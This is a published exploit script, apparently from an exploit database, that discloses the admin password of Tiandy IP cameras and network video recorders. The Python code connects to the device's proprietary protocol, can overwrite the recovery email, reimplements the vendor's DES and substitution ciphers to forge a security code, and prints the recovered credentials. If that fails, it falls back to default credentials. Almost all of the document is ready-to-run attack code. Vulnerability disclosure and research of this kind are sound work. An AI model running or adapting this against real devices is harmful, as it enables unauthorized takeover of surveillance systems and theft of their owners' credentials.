# Exploit Title: Tiandy IPC and NVR 9.12.7 - Credential Disclosure # Date: 2020-09-10 # Exploit Author: zb3 # Vendor Homepage: http://en.tiandy.com # Product Link: http://en.tiandy.com/index.php?s=/home/product/index/category/products.html # Software Link: http://en.tiandy.com/index.php?s=/home/article/lists/category/188.html # Version: DVRS_V9.12.7, DVRS_V11.7.4, NVSS_V13.6.1, NVSS_V22.1.0 # Tested on: Linux # CVE: N/A # Requires Python 3 and PyCrypto # For more details and information on how to escalate this further, see: # https://github.com/zb3/tiandy-research import sys import hashlib import base64 import socket import struct from Crypto.Cipher import DES def main(): if len(sys.argv) != 2: print('python3 %s [host]' % sys.argv[0], file=sys.stderr) exit(1) host = sys.argv[1] conn = Channel(host) conn.connect() crypt_key = conn.get_crypt_key(65536) attempts = 2 tried_to_set_mail = False ok = False while attempts > 0: attempts -= 1 code = get_psw_code(conn) if code == False: # psw not supported break elif code == None: if not tried_to_set_mail: print("No PSW data found, we'll try to set it...", file=sys.stderr) tried_to_set_mail = True if try_set_mail(conn, 'a@a.a'): code = get_psw_code(conn) if code == None: print("couldn't set mail", file=sys.stderr) break rcode, password = recover_with_code(conn, code, crypt_key) if rcode == 5: print('The device is locked, try again later.', file=sys.stderr) break if rcode == 0: print('Admin', password) ok = True break if tried_to_set_mail: try_set_mail(conn, '') if not code: print("PSW is not supported, trying default credentials...", file=sys.stderr) credentials = recover_with_default(conn, crypt_key) if credentials: user, pw = credentials print(user, pw) ok = True if not ok: print('Recovery failed', file=sys.stderr) exit(1) def try_set_mail(conn, target): conn.send_msg(['PROXY', 'USER', 'RESERVEPHONE', '2', '1', target, 'FILETRANSPORT']) resp = conn.recv_msg() return resp[4:7] == ['RESERVEPHONE', '2', '1'] def get_psw_code(conn): conn.send_msg(['IP', 'USER', 'LOGON', base64.b64encode(b'Admin').decode(), base64.b64encode(b'Admin').decode(), '', '65536', 'UTF-8', '0', '1']) resp = conn.recv_msg() if resp[4] != 'FINDPSW': return False psw_reg = psw_data = None if len(resp) > 7: psw_reg = resp[6] psw_data = resp[7] if not psw_data: return None psw_type = int(resp[5]) if psw_type not in (1, 2, 3): raise Exception('unsupported psw type: '+str(psw_type)) if psw_type == 3: psw_data = psw_data.split('"')[3] if psw_type == 1: psw_data = psw_data.split(':')[1] psw_key = psw_reg[:0x1f] elif psw_type in (2, 3): psw_key = psw_reg[:4].lower() psw_code = td_decrypt(psw_data.encode(), psw_key.encode()) code = hashlib.md5(psw_code).hexdigest()[24:] return code def recover_with_code(conn, code, crypt_key): conn.send_msg(['IP', 'USER', 'SECURITYCODE', code, 'FILETRANSPORT']) resp = conn.recv_msg() rcode = int(resp[6]) if rcode == 0: return rcode, decode(resp[8].encode(), crypt_key).decode() return rcode, None def recover_with_default(conn, crypt_key): res = conn.login_with_key(b'Default', b'Default', crypt_key) if not res: return False while True: msg = conn.recv_msg() if msg[1:5] == ['IP', 'INNER', 'SUPER', 'GETUSERINFO']: return decode(msg[6].encode(), crypt_key).decode(), decode(msg[7].encode(), crypt_key).decode() ### ### lib/des.py ### def reverse_bits(data): return bytes([(b * 0x0202020202 & 0x010884422010) % 0x3ff for b in data]) def pad(data): if len(data) % 8: padlen = 8 - (len(data) % 8) data = data + b'\x00' * (padlen-1) + bytes([padlen]) return data def unpad(data): padlen = data[-1] if 0 < padlen <= 8 and data[-padlen:-1] == b'\x00'*(padlen-1): data = data[:-padlen] return data def encrypt(data, key): cipher = DES.new(reverse_bits(key), 1) return reverse_bits(cipher.encrypt(reverse_bits(pad(data)))) def decrypt(data, key): cipher = DES.new(reverse_bits(key), 1) return unpad(reverse_bits(cipher.decrypt(reverse_bits(data)))) def encode(data, key): return base64.b64encode(encrypt(data, key)) def decode(data, key): return decrypt(base64.b64decode(data), key) ### ### lib/binproto.py ### def recvall(s, l): buf = b'' while len(buf) < l: nbuf = s.recv(l - len(buf)) if not nbuf: break buf += nbuf return buf class Channel: def __init__(self, ip, port=3001): self.ip = ip self.ip_bytes = socket.inet_aton(ip)[::-1] self.port = port self.msg_seq = 0 self.data_seq = 0 self.msg_queue = [] def fileno(self): return self.socket.fileno() def connect(self): self.socket = socket.socket() self.socket.connect((self.ip, self.port)) def reconnect(self): self.socket.close() self.connect() def send_cmd(self, data): self.socket.sendall(b'\xf1\xf5\xea\xf5' + struct.pack(' 1: self.msg_queue.extend(msgs[1:]) return msgs[0] def send_msg(self, msg): self.send_cmd((self.ip+'\t'+'\t'.join(msg)+'\n\n\n').encode()) def get_crypt_key(self, mode=1, uname=b'Admin', pw=b'Admin'): self.send_msg(['IP', 'USER', 'LOGON', base64.b64encode(uname).decode(), base64.b64encode(pw).decode(), '', str(mode), 'UTF-8', '805306367', '1']) resp = self.recv_msg() if resp[4:6] != ['LOGONFAILED', '3']: print(resp) raise Exception('unrecognized login response') crypt_key = base64.b64decode(resp[8]) return crypt_key def login_with_key(self, uname, pw, crypt_key): self.reconnect() hashed_uname = base64.b64encode(hashlib.md5(uname.lower()+crypt_key).digest()) hashed_pw = base64.b64encode(hashlib.md5(pw+crypt_key).digest()) self.send_msg(['IP', 'USER', 'LOGON', hashed_uname.decode(), hashed_pw.decode(), '', '1', 'UTF-8', '1', '1']) resp = self.recv_msg() if resp[4] == 'LOGONFAILED': return False self.msg_queue = [resp] + self.msg_queue return True def login(self, uname, pw): crypt_key = self.get_crypt_key(1, uname, pw) if not self.login_with_key(uname, pw, crypt_key): return False return crypt_key ### ### lib/crypt.py ### pat = b'abcdefghijklmnopqrstuvwxyz0123456789' def td_asctonum(code): if code in b'ABCDEFGHIJKLMNOPQRSTUVWXYZ': code += 0x20 if code not in pat: return None return pat.index(code) def td_numtoasc(code): if code < 36: return pat[code] return None gword = [ b'SjiW8JO7mH65awR3B4kTZeU90N1szIMrF2PC', b'04A1EF7rCH3fYl9UngKRcObJD6ve8W5jdTta', b'brU5XqY02ZcA3ygE6lf74BIG9LF8PzOHmTaC', b'2I1vF5NMYd0L68aQrp7gTwc4RP9kniJyfuCH', b'136HjBIPWzXCY9VMQa7JRiT4kKv2FGS5s8Lt', b'Hwrhs0Y1Ic3Eq25a6t8Z7TQXVMgdePuxCNzJ', b'WAmkt3RCZM829P4g1hanBluw6eVGSf7E05oX', b'dMxreKZ35tRQg8E02UNTaoI76wGSvVh9Wmc1', b'i20mzKraY74A6qR9QM8H3ecUkBlpJC1nyFSZ', b'XCAUP6H37toQWSgsNanf0j21VKu9T4EqyGd5', b'dFZPb9B6z1TavMUmXQHk7x402oEhKJD58pyG', b'rg8V3snTAX6xjuoCYf519BzWRtcMl2OiZNeI', b'dZe620lr8JW4iFhNj3K1x59Una7PXsLGvSmB', b'5yaQlGSArNzek6MXZ1BPOE3xV470h9KvgYmb', b'f12CVxeQ56YWd7OTXDtlnPqugjJikELayvMs', b'9Qoa5XkM6iIrR7u8tNZgSpbdDUWvwH21Kyzh', b'AqGWke65Y2ufVgljEhMHJL01D8Zptvcw7CxX', b't960P2inR8qEVmAUsDZIpH5wzSXJ43ob1kGW', b'4l6SAi2KhveRHVN5JGcmx9jOC3afB7wF0ITq', b'tEOp6Xo87QzPbn24J3i9FjWKS1lIBVaMZeHU', b'zx27DH915lhs04aMJOgf6Z3pyERrGndiLwIe', b'8XxOBzZ02hUWDQfvL471q9RC6sAaJVFuTMdG', b'jON0i4C6Z3K97DkbqSypH8lRmx5o2eIwXas1', b'OIGT0ubwH1x6hCvEgBn274A5Q8K9e3YyzWlm', b'zgejY41CLwRNabovBUP2Aql7FVM8uEDXZQ0c', b'Z2MpQE91gdRLYJ8bGIWyOfc4v03Hjzs6VlU5', b't6PuvrBXeoHk5FJW08DYQSI49GCwZ27cA1UK', b'FiBA53IMW97kYNz82GhHf1yUCdL0nlvRD46s', b'2Vz3b06h54jmc7a8AIYtNHM1iQU9wBXWyJkR', b'wyI42azocV3UOX6fk579hMH8eEGJsgFuBmqb', b'TxmnK4ljJ9iroY8vVtg3Rae2L516fBWUuXAS', b'z6Y1bPrJEln0uWeLKkjo9IZ2y7ROcFHqBm54', b'x064LFB39TsXeryqvt2pZN8QIERuWAVUmwjJ', b'76qg85yB31uH90YbZofsjKrRGiTVndAEtFMx', b'WjwTEbCA752kq89shcaLB1xO64rgMYnoFiJQ', b'u6307O4J2DeZs8UYyjlzfX91KGmavEdwTRSg' ] def td_decrypt(data, key): kdx = 0 ret = [] for idx, code in enumerate(data): while True: if kdx >= len(key): kdx = 0 kcode = key[kdx] knum = td_asctonum(kcode) if knum is None: kdx += 1 continue break if code not in gword[knum]: return None cpos = gword[knum].index(code) ret.append(td_numtoasc(cpos)) kdx += 1 return bytes(ret) if __name__ == '__main__': main()